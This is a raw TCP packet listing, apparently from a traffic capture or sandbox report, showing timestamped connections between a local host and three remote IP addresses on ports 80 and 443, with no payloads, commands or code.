Jul 26, 2024 08:57:53.573555946 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.573566914 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.573579073 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.573939085 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.573951006 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.573962927 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.579396009 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.579451084 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.579463005 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.579577923 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.579590082 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.579705954 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.579716921 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.579845905 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.579857111 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.579868078 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.579972029 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.580050945 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.580061913 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.580192089 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.580204964 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.582911015 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:53.582911015 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:53.583086967 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:53.584726095 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.584768057 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.584779978 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.584889889 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.584902048 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.585000992 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.585011959 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.585149050 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.585220098 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.585230112 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.585263968 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.585274935 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.585412979 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.585423946 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.585434914 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.587780952 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:53.590023041 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:53.590396881 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:53.591268063 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.591280937 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.591290951 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.591387987 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.591398954 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.591516972 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.591527939 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.591537952 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.591555119 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.591557980 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.591824055 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.592125893 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.592195034 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.592211008 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.592221975 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.598661900 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.598777056 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.598788977 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.598860025 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.598870993 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.598887920 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.598897934 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.599066973 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.599178076 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.599188089 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.599318027 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.599328041 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.599338055 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.599349022 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.600599051 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.600677013 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.632077932 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:53.632396936 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:53.632507086 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:53.632524967 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:53.632539034 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:53.632980108 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:53.650710106 CEST	49760	443	192.168.2.7	142.250.186.142
Jul 26, 2024 08:57:53.650748968 CEST	443	49760	142.250.186.142	192.168.2.7
Jul 26, 2024 08:57:53.651259899 CEST	49761	443	192.168.2.7	142.250.186.142
Jul 26, 2024 08:57:53.651293039 CEST	443	49761	142.250.186.142	192.168.2.7
Jul 26, 2024 08:57:53.652250051 CEST	49760	443	192.168.2.7	142.250.186.142
Jul 26, 2024 08:57:53.652506113 CEST	49760	443	192.168.2.7	142.250.186.142
Jul 26, 2024 08:57:53.652519941 CEST	443	49760	142.250.186.142	192.168.2.7
Jul 26, 2024 08:57:53.652559996 CEST	49761	443	192.168.2.7	142.250.186.142
Jul 26, 2024 08:57:53.652744055 CEST	49761	443	192.168.2.7	142.250.186.142
Jul 26, 2024 08:57:53.652759075 CEST	443	49761	142.250.186.142	192.168.2.7
Jul 26, 2024 08:57:54.146163940 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:54.151149988 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.298877954 CEST	443	49761	142.250.186.142	192.168.2.7
Jul 26, 2024 08:57:54.305433035 CEST	49761	443	192.168.2.7	142.250.186.142
Jul 26, 2024 08:57:54.305453062 CEST	443	49761	142.250.186.142	192.168.2.7
Jul 26, 2024 08:57:54.305898905 CEST	443	49761	142.250.186.142	192.168.2.7
Jul 26, 2024 08:57:54.306643009 CEST	443	49761	142.250.186.142	192.168.2.7
Jul 26, 2024 08:57:54.306834936 CEST	49761	443	192.168.2.7	142.250.186.142
Jul 26, 2024 08:57:54.306844950 CEST	443	49761	142.250.186.142	192.168.2.7
Jul 26, 2024 08:57:54.308733940 CEST	443	49760	142.250.186.142	192.168.2.7
Jul 26, 2024 08:57:54.308897018 CEST	49761	443	192.168.2.7	142.250.186.142
Jul 26, 2024 08:57:54.309000015 CEST	443	49761	142.250.186.142	192.168.2.7
Jul 26, 2024 08:57:54.309206009 CEST	49760	443	192.168.2.7	142.250.186.142
Jul 26, 2024 08:57:54.309235096 CEST	443	49760	142.250.186.142	192.168.2.7
Jul 26, 2024 08:57:54.309429884 CEST	49761	443	192.168.2.7	142.250.186.142
Jul 26, 2024 08:57:54.309442997 CEST	443	49761	142.250.186.142	192.168.2.7
Jul 26, 2024 08:57:54.309652090 CEST	443	49760	142.250.186.142	192.168.2.7
Jul 26, 2024 08:57:54.309709072 CEST	49760	443	192.168.2.7	142.250.186.142
Jul 26, 2024 08:57:54.310353041 CEST	443	49760	142.250.186.142	192.168.2.7
Jul 26, 2024 08:57:54.310450077 CEST	49760	443	192.168.2.7	142.250.186.142
Jul 26, 2024 08:57:54.310620070 CEST	49760	443	192.168.2.7	142.250.186.142
Jul 26, 2024 08:57:54.310682058 CEST	443	49760	142.250.186.142	192.168.2.7
Jul 26, 2024 08:57:54.330539942 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.330607891 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.330658913 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:54.330660105 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.330676079 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:54.330697060 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.330703974 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:54.330730915 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.330744028 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:54.330765963 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.330776930 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:54.330804110 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.330813885 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:54.330858946 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:54.330909014 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.330943108 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.330956936 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:54.330961943 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.330979109 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.330985069 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:54.331017971 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.331018925 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:54.331037045 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:54.331059933 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:54.331157923 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.331198931 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:54.331382990 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.331393957 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.331404924 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.331417084 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.331428051 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.331444025 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.331831932 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.331844091 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.331854105 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.331866026 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.331970930 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.331981897 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.332067966 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.332078934 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.332089901 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.332101107 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.332113028 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.332142115 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.332191944 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:54.332233906 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:54.332401037 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.332498074 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.332509041 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.332647085 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.332659006 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.332669973 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.332679987 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.332690954 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.332992077 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:54.333162069 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.333173990 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.333184958 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.333194971 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.333290100 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.333339930 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.333353043 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.333353043 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:54.333420038 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.333534956 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.333547115 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.333558083 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.333569050 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.333585978 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:54.333610058 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:54.333739042 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.333750963 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.333761930 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.333859921 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.333899975 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:54.334435940 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.334454060 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.334465027 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.334470987 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.334481955 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.334492922 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.334564924 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.334575891 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.334587097 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.334748983 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.334760904 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.334774017 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.335205078 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.335237026 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.335247040 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.335393906 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.335406065 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.335412025 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.335417986 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.335642099 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.335654020 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.335663080 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.335673094 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.335684061 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.336107969 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.336155891 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.336168051 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.336297989 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.336308956 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.336323023 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.336328983 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.336529970 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.336540937 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.336551905 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.336563110 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.336574078 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.337393999 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.337407112 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.337582111 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.337594032 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.337749958 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.337762117 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.337774038 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.337785006 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.337795019 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.337805986 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.337812901 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.338032961 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.338103056 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.338114977 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.338224888 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.338236094 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.338247061 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.338258028 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.338426113 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.338438034 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.338774920 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:54.338830948 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:54.338850975 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:54.338922977 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:54.338948011 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:54.340925932 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:54.345634937 CEST	80	49759	185.215.113.19	192.168.2.7
Jul 26, 2024 08:57:54.350480080 CEST	49759	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:57:54.355026007 CEST	49759	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:57:54.361931086 CEST	80	49759	185.215.113.19	192.168.2.7
Jul 26, 2024 08:57:54.421506882 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.421571016 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.421622038 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.421655893 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.421669960 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.421722889 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.421736002 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.421750069 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.421761990 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.421775103 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.421866894 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.421967030 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.421979904 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.421991110 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.422002077 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.422013998 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.422024965 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.422034979 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.422250986 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.422261953 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.422272921 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.422281981 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.422293901 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.422482967 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.422492981 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.422506094 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.422516108 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.422527075 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.422538042 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.422549009 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.422866106 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.422878027 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.422887087 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.422898054 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.422909021 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.422919989 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.422930002 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.422940969 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.422952890 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.422962904 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.422975063 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.422985077 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.422995090 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.423264980 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.423276901 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.423290014 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.423321009 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.423432112 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.423443079 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.423451900 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.423463106 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.423475027 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.423851967 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.423863888 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.423875093 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.423885107 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.423896074 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.423906088 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.423916101 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.423927069 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.425657034 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.425668001 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.425678968 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.425787926 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.425800085 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.425811052 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.425821066 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.425921917 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.425978899 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.425991058 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.426002026 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.426121950 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.426132917 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.426142931 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.426153898 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.426198959 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.426211119 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.426222086 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.426232100 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.426243067 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.427361012 CEST	80	49756	85.28.47.31	192.168.2.7
